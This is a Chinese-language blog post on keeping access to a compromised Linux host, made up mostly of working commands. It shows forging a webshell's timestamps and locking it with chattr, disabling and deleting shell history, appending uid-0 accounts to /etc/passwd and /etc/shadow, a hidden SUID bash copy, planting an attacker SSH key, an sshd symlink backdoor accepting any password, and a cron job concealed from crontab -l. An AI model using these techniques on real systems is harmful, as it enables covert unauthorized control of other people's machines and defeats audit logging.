Linux权限维持

Linux权限维持

写于2023-10-12 14:32

隐藏技巧

修改文件/终端属性

touch -r index.php shell.php  #将shell.php文件的时间戳修改为inedx.php的时间戳

文件锁定

通过chattr命令来防止文件被删除或者被修改,这个权限通过ls -l无法查看出来

chattr +i shell.php   #锁定文件,让shell.php无法进行删除或者修改
chattr -i shell.php #解除锁定

lsattr shell.php #查看shell.php的属性

经过测试,chattr命令只有在root权限下才能正常执行

历史命令操作

临时关闭历史记录

[space]set +o history   #[space]表示空格

执行了这个命令之后,包括此命令以及往后的所有操作,都不会被记录下来

[speace]set -o history #开启历史记录的操作

删除指定的历史记录

history -d 5 #删除行号为5的历史记录

保留一定范围内的历史记录

sed -i '150,$d' .bash_history #只保留前150行

添加用户

passwd写入

对于老版本的linux来讲,密码会存放在p/etc/passwd文件里面,对于新版本的linux系统密码会存放在/etc/shadow文件里面

老版本方法:

echo "momaek:savbSWc4rx8NY:hacker:/root:/bin/bash" >> /etc/passwd   #老版本linux添加一个超级用户

新版本方法:

echo "cshm:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级⽤户账号
passwd cshm #修改cshm的密码echo "momaek:savbSWc4rx8NY:-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

直接useradd也可以

suid

这个主要是用于提权的后门

关于什么是suid权限不再多述,在linux提权的内容已经讲过。

在这里面我们主要是在root权限下创建一个/bin/bash程序,然后赋予suid权限

cp /bin/bash /tmp/.tmp
chmod +s /tmp/.tmp

使用一般用户运行

/tmp/.tmp -p   #由于base2有一些保护机制,需要使用-p参数来获取一个root权限的shell

查看系统具有suid权限的程序

find / -perm -u=s -type f 2>/dev/null

公私钥

公私钥就是攻击者在自己电脑上面生成了一个ssh公私钥对,然后将公钥导入到靶机上面,进而可以通过私钥链接到靶机

ssh-keygen -t rsa //⽣成公钥
cat id_rsa.pub >> .ssh/authorized_keys //将id_rsa.pub内容放到⽬标.ssh/authorized_keys⾥

实现成功的条件

主机存在ssh服务

ssh允许使用密钥登入,可以修改/etc/ssh/sshd_config文件,如下配置

RSAAuthentication yes
PubkeyAuthentication yes

关于ssh服务公私钥的更多详细内容:http://t.csdnimg.cn/uFsTy

使用ssh命令进行登入linux系统

ssh [email protected] #用户名为root
ssh -i id_rsa [email protected]  #-i 命令指定私钥文件

软链接

软连接介绍:https://www.cnblogs.com/sueyyyy/p/10985443.html

添加ssh后门

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345   

软链接到/usr/local/su文件,也可以到其他目录,但是su的文件名不能改变,并且指定到12345端口,登入的时候密码任意

ssh [email protected] -p 12345

如果创建软链接的时候,使用了其他账号创建,那么登入的时候就使用该账号登入

此条件需要注意的一些事情

ssh配置需要允许root密码登入:sshd_config文件PermitRootLogin yes以及PasswordAuthentication yes
设置好之后,使用service ssh restart 重启ssh服务

另外这个方法登入仍然能被记录到登入日志中去,通过last命令查看ssh登入日志,

任意密码登入的原因

这个我也没搞太明白,大概需要详细了解pam认证机制,这里有一个详细的介绍:https://www.cnblogs.com/websec80/articles/14424309.html

Cronta

前置知识

关于计划任务是什么不再赘述

常用命令

crontab -e #编辑计划任务
crontab -l #查看当前用户的计划任务

计划任务里面的配置文件有很多,可以通过ls /etc | grep cron命令查看,但是我们直接通过crontab -e编辑的计划任务并不在这些文件里面,而是在/var/spool/cron/crontabs里面

利用过程

往crontab配置里面添加一个计划任务

(crontab -l;echo '*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i')|crontab -

对于这个方法可以通过crontab -l来查看,但是通过下面这个方法可以达到隐藏的效果

(crontab -l;printf "*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

通过上面的这个方法输入crontab -l就会出现如下输出

在这里插入图片描述

但是通过crontab -e仍然能够查看到,但是通过cat命令查看是看不到的

在这里插入图片描述

openssh后门

这个就是用一个带有后门的openssh替换掉原本的openssh,带有后门的openssh会记录登入的用户名和密码,实际上不如上面的软连接任意密码登入方式。不多赘述

你可能感兴趣的:(网络安全,linux,网络安全)